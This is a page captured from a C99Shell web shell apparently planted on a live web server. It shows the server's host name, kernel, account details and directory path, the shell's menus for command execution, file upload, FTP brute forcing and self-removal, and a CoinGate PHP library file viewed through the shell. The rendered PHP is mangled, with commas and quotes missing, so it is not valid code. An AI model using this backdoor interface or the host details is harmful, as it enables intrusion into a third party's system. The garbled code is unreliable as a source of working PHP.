!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/coingate/coingate-php/lib/Services/   drwxr-xr-x
Free 23.73 GB of 117.98 GB (20.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PublicService.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace CoinGate\Services;

class 
PublicService extends AbstractService
{
    
/**
     * Current exchange rate for any two currencies, fiat or crypto.
     *
     * @param string $from
     * @param string $to
     * @return mixed
     */
    
public function getExchangeRate(string $fromstring $to)
    {
        return 
$this->request('get'$this->buildPath('/v2/rates/merchant/%s/%s'$from$to));
    }

    
/**
     * Current CoinGate exchange rates for Merchants and Traders.
     *
     * @return mixed
     */
    
public function listExchangeRates()
    {
        return 
$this->request('get''/v2/rates');
    }

    
/**
     * Get IP addresses of CoinGate servers
     *
     * @param string $separator
     * @return mixed
     */
    
public function getIPAddresses(string $separator '\n')
    {
        return 
$this->request('get''/v2/ips-v4', [
            
'separator' => $separator
        
]);
    }

    
/**
     * @param string|null $kind
     * @param bool $native
     * @param bool $merchantPay
     * @param bool $merchantReceive
     * @param bool $enabledOnly
     * @return mixed
     */
    
public function getCurrencies(
        
string $kind null,
        
bool $native false,
        
bool $merchantPay false,
        
bool $merchantReceive false,
        
bool $enabledOnly true
    
) {
        return 
$this->request('get''/v2/currencies'array_filter([
            
'kind' => $kind,
            
'native' => $native,
            
'merchant_pay' => $merchantPay,
            
'merchant_receive' => $merchantReceive,
            
'enabled' => $enabledOnly
        
]));
    }

    
/**
     * @return mixed
     */
    
public function getCheckoutCurrencies()
    {
        return 
$this->getCurrencies('crypto'truetrue);
    }

    
/**
     * @param string|null $kind
     * @return mixed
     */
    
public function getMerchantPayCurrencies(string $kind null)
    {
        return 
$this->getCurrencies($kindfalsetrue);
    }

    
/**
     * @param string|null $kind
     * @return mixed
     */
    
public function getMerchantPayoutCurrencies(string $kind null)
    {
        return 
$this->getCurrencies($kindfalsefalsetrue);
    }

    
/**
     * @param bool $enabled
     * @return mixed
     */
    
public function getPlatforms(bool $enabled true)
    {
        return 
$this->request('get''/v2/platforms'array_filter(['enabled' => $enabled]));
    }

    
/**
     * A health check endpoint for CoinGate API.
     *
     * @return mixed
     */
    
public function ping()
    {
        return 
$this->request('get''/v2/ping');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--